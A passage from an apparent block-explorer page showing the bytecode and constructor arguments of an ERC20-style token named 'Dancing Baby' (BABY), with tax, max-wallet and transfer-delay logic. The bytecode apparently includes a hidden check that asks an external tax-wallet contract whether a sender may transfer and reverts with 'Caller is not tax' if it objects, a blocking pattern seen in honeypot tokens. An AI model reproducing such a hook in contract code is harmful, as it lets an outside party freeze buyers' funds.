fffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114229190611d7d565b60405180910390a35b61147d82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119fa90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115246114d682846119fa90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199c90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611572848484611a44565b508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6115d584866119fa90919063ffffffff16565b6040516115e29190611d7d565b60405180910390a350505050565b6000838311158290611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f9190611c3d565b60405180910390fd5b506000838561164791906125ce565b9050809150509392505050565b600061169683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b4a565b905092915050565b60008183116116ad57826116af565b815b905092915050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156116ef576116ee612602565b5b60405190808252806020026020018201604052801561171d5781602001602082028036833780820191505090505b509050308160008151811061173557611734612631565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156117dc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118009190612675565b8160018151811061181457611813612631565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061187b30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610aa2565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118df9594939291906127a5565b600060405180830381600087803b1580156118f957600080fd5b505af115801561190d573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611998573d6000803e3d6000fd5b5050565b60008082846119ab91906124e6565b9050838110156119f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e79061284b565b60405180910390fd5b8091505092915050565b6000611a3c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115f0565b905092915050565b600080600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c13a9e7b866040518263ffffffff1660e01b8152600401611aa29190611e5e565b602060405180830381865afa158015611abf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ae39190612897565b9050808015611af25750600083115b15611b3f576000151581151514611b3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3590612910565b60405180910390fd5b5b829150509392505050565b60008083118290611b91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b889190611c3d565b60405180910390fd5b5060008385611ba09190612025565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611be7578082015181840152602081019050611bcc565b60008484015250505050565b6000601f19601f8301169050919050565b6000611c0f82611bad565b611c198185611bb8565b9350611c29818560208601611bc9565b611c3281611bf3565b840191505092915050565b60006020820190508181036000830152611c578184611c04565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c8f82611c64565b9050919050565b611c9f81611c84565b8114611caa57600080fd5b50565b600081359050611cbc81611c96565b92915050565b6000819050919050565b611cd581611cc2565b8114611ce057600080fd5b50565b600081359050611cf281611ccc565b92915050565b60008060408385031215611d0f57611d0e611c5f565b5b6000611d1d85828601611cad565b9250506020611d2e85828601611ce3565b9150509250929050565b60008115159050919050565b611d4d81611d38565b82525050565b6000602082019050611d686000830184611d44565b92915050565b611d7781611cc2565b82525050565b6000602082019050611d926000830184611d6e565b92915050565b600080600060608486031215611db157611db0611c5f565b5b6000611dbf86828701611cad565b9350506020611dd086828701611cad565b9250506040611de186828701611ce3565b9150509250925092565b600060ff82169050919050565b611e0181611deb565b82525050565b6000602082019050611e1c6000830184611df8565b92915050565b600060208284031215611e3857611e37611c5f565b5b6000611e4684828501611cad565b91505092915050565b611e5881611c84565b82525050565b6000602082019050611e736000830184611e4f565b92915050565b60008060408385031215611e9057611e8f611c5f565b5b6000611e9e85828601611cad565b9250506020611eaf85828601611cad565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611f0057607f821691505b602082108103611f1357611f12611eb9565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611f4f602083611bb8565b9150611f5a82611f19565b602082019050919050565b60006020820190508181036000830152611f7e81611f42565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611fbf82611cc2565b9150611fca83611cc2565b9250828202611fd881611cc2565b91508282048414831517611fef57611fee611f85565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061203082611cc2565b915061203b83611cc2565b92508261204b5761204a611ff6565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006120b2602183611bb8565b91506120bd82612056565b604082019050919050565b600060208201905081810360008301526120e1816120a5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612144602483611bb8565b915061214f826120e8565b604082019050919050565b6000602082019050818103600083015261217381612137565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006121d6602283611bb8565b91506121e18261217a565b604082019050919050565b60006020820190508181036000830152612205816121c9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612268602583611bb8565b91506122738261220c565b604082019050919050565b600060208201905081810360008301526122978161225b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006122fa602383611bb8565b91506123058261229e565b604082019050919050565b60006020820190508181036000830152612329816122ed565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061238c602983611bb8565b915061239782612330565b604082019050919050565b600060208201905081810360008301526123bb8161237f565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b6000612444604983611bb8565b915061244f826123c2565b606082019050919050565b6000602082019050818103600083015261247381612437565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006124b0601983611bb8565b91506124bb8261247a565b602082019050919050565b600060208201905081810360008301526124df816124a3565b9050919050565b60006124f182611cc2565b91506124fc83611cc2565b925082820190508082111561251457612513611f85565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000612550601a83611bb8565b915061255b8261251a565b602082019050919050565b6000602082019050818103600083015261257f81612543565b9050919050565b600061259182611cc2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036125c3576125c2611f85565b5b600182019050919050565b60006125d982611cc2565b91506125e483611cc2565b92508282039050818111156125fc576125fb611f85565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061266f81611c96565b92915050565b60006020828403121561268b5761268a611c5f565b5b600061269984828501612660565b91505092915050565b6000819050919050565b6000819050919050565b60006126d16126cc6126c7846126a2565b6126ac565b611cc2565b9050919050565b6126e1816126b6565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61271c81611c84565b82525050565b600061272e8383612713565b60208301905092915050565b6000602082019050919050565b6000612752826126e7565b61275c81856126f2565b935061276783612703565b8060005b8381101561279857815161277f8882612722565b975061278a8361273a565b92505060018101905061276b565b5085935050505092915050565b600060a0820190506127ba6000830188611d6e565b6127c760208301876126d8565b81810360408301526127d98186612747565b90506127e86060830185611e4f565b6127f56080830184611d6e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612835601b83611bb8565b9150612840826127ff565b602082019050919050565b6000602082019050818103600083015261286481612828565b9050919050565b61287481611d38565b811461287f57600080fd5b50565b6000815190506128918161286b565b92915050565b6000602082840312156128ad576128ac611c5f565b5b60006128bb84828501612882565b91505092915050565b7f43616c6c6572206973206e6f7420746178000000000000000000000000000000600082015250565b60006128fa601183611bb8565b9150612905826128c4565b602082019050919050565b60006020820190508181036000830152612929816128ed565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220046440aa1e9a3daac97bbb1e92d9e5834ea893163f7dcda4cec8ab95c3c8877164736f6c6343000812003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000004cac126c8891db7b1cd628c57279c20dd579c020000000000000000000000006ec7af9cf85506e0c47a317c9de76425e5076e5800000000000000000000000000000000000000000000000000000002540be400000000000000000000000000000000000000000000000000000000000000000c44616e63696e672042616279000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044241425900000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x60806040526004361061010d5760003560e01c80637d1db4a51161009557806395d89b411161006457806395d89b4114610368578063a9059cbb14610393578063bf474bed146103d0578063c876d0b9146103fb578063dd62ed3e1461042657610114565b80637d1db4a5146102bc5780638951cf59146102e75780638da5cb5b146103125780638f9a55c01461033d57610114565b806323b872dd116100dc57806323b872dd146101d7578063313ce56714610214578063437823ec1461023f57806370a0823114610268578063715018a6146102a557610114565b806306fdde0314610119578063095ea7b3146101445780630faee56f1461018157806318160ddd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610463565b60405161013b9190611c3d565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190611cf8565b6104f5565b6040516101789190611d53565b60405180910390f35b34801561018d57600080fd5b50610196610513565b6040516101a39190611d7d565b60405180910390f35b3480156101b857600080fd5b506101c1610519565b6040516101ce9190611d7d565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f99190611d98565b610523565b60405161020b9190611d53565b60405180910390f35b34801561022057600080fd5b506102296105fc565b6040516102369190611e07565b60405180910390f35b34801561024b57600080fd5b5061026660048036038101906102619190611e22565b610605565b005b34801561027457600080fd5b5061028f600480360381019061028a9190611e22565b6106f5565b60405161029c9190611d7d565b60405180910390f35b3480156102b157600080fd5b506102ba61073e565b005b3480156102c857600080fd5b506102d1610891565b6040516102de9190611d7d565b60405180910390f35b3480156102f357600080fd5b506102fc610897565b6040516103099190611d7d565b60405180910390f35b34801561031e57600080fd5b506103276108a1565b6040516103349190611e5e565b60405180910390f35b34801561034957600080fd5b506103526108ca565b60405161035f9190611d7d565b60405180910390f35b34801561037457600080fd5b5061037d6108d0565b60405161038a9190611c3d565b60405180910390f35b34801561039f57600080fd5b506103ba60048036038101906103b59190611cf8565b610962565b6040516103c79190611d53565b60405180910390f35b3480156103dc57600080fd5b506103e5610980565b6040516103f29190611d7d565b60405180910390f35b34801561040757600080fd5b50610410610986565b60405161041d9190611d53565b60405180910390f35b34801561043257600080fd5b5061044d60048036038101906104489190611e79565b610999565b60405161045a9190611d7d565b60405180910390f35b6060600e805461047290611ee8565b80601f016020809104026020016040519081016040528092919081815260200182805461049e90611ee8565b80156104eb5780601f106104c0576101008083540402835291602001916104eb565b820191906000526020600020905b8154815290600101906020018083116104ce57829003601f168201915b5050505050905090565b6000610509610502610a9a565b8484610aa2565b6001905092915050565b60145481565b6000601054905090565b6000610530848484610c6b565b6105f18461053c610a9a565b6105ec8560405180606001604052806028815260200161293160289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105a2610a9a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f09092919063ffffffff16565b610aa2565b600190509392505050565b60006009905090565b61060d610a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461069a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069190611f65565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610746610a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ca90611f65565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b6000601054905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b6060600f80546108df90611ee8565b80601f016020809104026020016040519081016040528092919081815260200182805461090b90611ee8565b80156109585780601f1061092d57610100808354040283529160200191610958565b820191906000526020600020905b81548152906001019060200180831161093b57829003601f168201915b5050505050905090565b600061097661096f610a9a565b8484610c6b565b6001905092915050565b60135481565b600560009054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808303610a325760009050610a94565b60008284610a409190611fb4565b9050828482610a4f9190612025565b14610a8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a86906120c8565b60405180910390fd5b809150505b92915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b089061215a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b77906121ec565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c5e9190611d7d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd19061227e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4090612310565b60405180910390fd5b60008111610d8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d83906123a2565b60405180910390fd5b6000610d966108a1565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610e045750610dd46108a1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561132757600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610ead5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561132657610eee6064610ee0600c54600b5411610ecd57600654610ed1565b6008545b85610a2090919063ffffffff16565b61165490919063ffffffff16565b9050600560009054906101000a900460ff161561107d57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610fb15750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561107c5743600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611037576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102e9061245a565b60405180910390fd5b43600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111285750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561117e5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611239576011548211156111c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bf906124c6565b60405180910390fd5b601254826111d5856106f5565b6111df91906124e6565b1115611220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121790612566565b60405180910390fd5b600b600081548092919061123390612586565b91905055505b6000611244306106f5565b9050601660159054906101000a900460ff161580156112b05750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156112c6575060168054906101000a900460ff165b80156112d3575060135481115b80156112e25750600a54600b54115b15611324576113046112ff846112fa8460145461169e565b61169e565b6116b7565b600047905066b1a2bc2ec500008111156113225761132147611930565b5b505b505b5b600081111561142b5761138281600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199c90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114229190611d7d565b60405180910390a35b61147d82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119fa90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115246114d682846119fa90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199c90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611572848484611a44565b508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6115d584866119fa90919063ffffffff16565b6040516115e29190611d7d565b60405180910390a350505050565b6000838311158290611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f9190611c3d565b60405180910390fd5b506000838561164791906125ce565b9050809150509392505050565b600061169683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b4a565b905092915050565b60008183116116ad57826116af565b815b905092915050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156116ef576116ee612602565b5b60405190808252806020026020018201604052801561171d5781602001602082028036833780820191505090505b509050308160008151811061173557611734612631565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156117dc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118009190612675565b8160018151811061181457611813612631565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061187b30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610aa2565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118df9594939291906127a5565b600060405180830381600087803b1580156118f957600080fd5b505af115801561190d573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611998573d6000803e3d6000fd5b5050565b60008082846119ab91906124e6565b9050838110156119f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e79061284b565b60405180910390fd5b8091505092915050565b6000611a3c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115f0565b905092915050565b600080600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c13a9e7b866040518263ffffffff1660e01b8152600401611aa29190611e5e565b602060405180830381865afa158015611abf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ae39190612897565b9050808015611af25750600083115b15611b3f576000151581151514611b3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3590612910565b60405180910390fd5b5b829150509392505050565b60008083118290611b91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b889190611c3d565b60405180910390fd5b5060008385611ba09190612025565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611be7578082015181840152602081019050611bcc565b60008484015250505050565b6000601f19601f8301169050919050565b6000611c0f82611bad565b611c198185611bb8565b9350611c29818560208601611bc9565b611c3281611bf3565b840191505092915050565b60006020820190508181036000830152611c578184611c04565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c8f82611c64565b9050919050565b611c9f81611c84565b8114611caa57600080fd5b50565b600081359050611cbc81611c96565b92915050565b6000819050919050565b611cd581611cc2565b8114611ce057600080fd5b50565b600081359050611cf281611ccc565b92915050565b60008060408385031215611d0f57611d0e611c5f565b5b6000611d1d85828601611cad565b9250506020611d2e85828601611ce3565b9150509250929050565b60008115159050919050565b611d4d81611d38565b82525050565b6000602082019050611d686000830184611d44565b92915050565b611d7781611cc2565b82525050565b6000602082019050611d926000830184611d6e565b92915050565b600080600060608486031215611db157611db0611c5f565b5b6000611dbf86828701611cad565b9350506020611dd086828701611cad565b9250506040611de186828701611ce3565b9150509250925092565b600060ff82169050919050565b611e0181611deb565b82525050565b6000602082019050611e1c6000830184611df8565b92915050565b600060208284031215611e3857611e37611c5f565b5b6000611e4684828501611cad565b91505092915050565b611e5881611c84565b82525050565b6000602082019050611e736000830184611e4f565b92915050565b60008060408385031215611e9057611e8f611c5f565b5b6000611e9e85828601611cad565b9250506020611eaf85828601611cad565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611f0057607f821691505b602082108103611f1357611f12611eb9565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611f4f602083611bb8565b9150611f5a82611f19565b602082019050919050565b60006020820190508181036000830152611f7e81611f42565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611fbf82611cc2565b9150611fca83611cc2565b9250828202611fd881611cc2565b91508282048414831517611fef57611fee611f85565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061203082611cc2565b915061203b83611cc2565b92508261204b5761204a611ff6565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006120b2602183611bb8565b91506120bd82612056565b604082019050919050565b600060208201905081810360008301526120e1816120a5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612144602483611bb8565b915061214f826120e8565b604082019050919050565b6000602082019050818103600083015261217381612137565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006121d6602283611bb8565b91506121e18261217a565b604082019050919050565b60006020820190508181036000830152612205816121c9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612268602583611bb8565b91506122738261220c565b604082019050919050565b600060208201905081810360008301526122978161225b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006122fa602383611bb8565b91506123058261229e565b604082019050919050565b60006020820190508181036000830152612329816122ed565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061238c602983611bb8565b915061239782612330565b604082019050919050565b600060208201905081810360008301526123bb8161237f565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b6000612444604983611bb8565b915061244f826123c2565b606082019050919050565b6000602082019050818103600083015261247381612437565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006124b0601983611bb8565b91506124bb8261247a565b602082019050919050565b600060208201905081810360008301526124df816124a3565b9050919050565b60006124f182611cc2565b91506124fc83611cc2565b925082820190508082111561251457612513611f85565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000612550601a83611bb8565b915061255b8261251a565b602082019050919050565b6000602082019050818103600083015261257f81612543565b9050919050565b600061259182611cc2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036125c3576125c2611f85565b5b600182019050919050565b60006125d982611cc2565b91506125e483611cc2565b92508282039050818111156125fc576125fb611f85565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061266f81611c96565b92915050565b60006020828403121561268b5761268a611c5f565b5b600061269984828501612660565b91505092915050565b6000819050919050565b6000819050919050565b60006126d16126cc6126c7846126a2565b6126ac565b611cc2565b9050919050565b6126e1816126b6565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61271c81611c84565b82525050565b600061272e8383612713565b60208301905092915050565b6000602082019050919050565b6000612752826126e7565b61275c81856126f2565b935061276783612703565b8060005b8381101561279857815161277f8882612722565b975061278a8361273a565b92505060018101905061276b565b5085935050505092915050565b600060a0820190506127ba6000830188611d6e565b6127c760208301876126d8565b81810360408301526127d98186612747565b90506127e86060830185611e4f565b6127f56080830184611d6e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612835601b83611bb8565b9150612840826127ff565b602082019050919050565b6000602082019050818103600083015261286481612828565b9050919050565b61287481611d38565b811461287f57600080fd5b50565b6000815190506128918161286b565b92915050565b6000602082840312156128ad576128ac611c5f565b5b60006128bb84828501612882565b91505092915050565b7f43616c6c6572206973206e6f7420746178000000000000000000000000000000600082015250565b60006128fa601183611bb8565b9150612905826128c4565b602082019050919050565b60006020820190508181036000830152612929816128ed565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220046440aa1e9a3daac97bbb1e92d9e5834ea893163f7dcda4cec8ab95c3c8877164736f6c63430008120033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000004cac126c8891db7b1cd628c57279c20dd579c020000000000000000000000006ec7af9cf85506e0c47a317c9de76425e5076e5800000000000000000000000000000000000000000000000000000002540be400000000000000000000000000000000000000000000000000000000000000000c44616e63696e672042616279000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044241425900000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
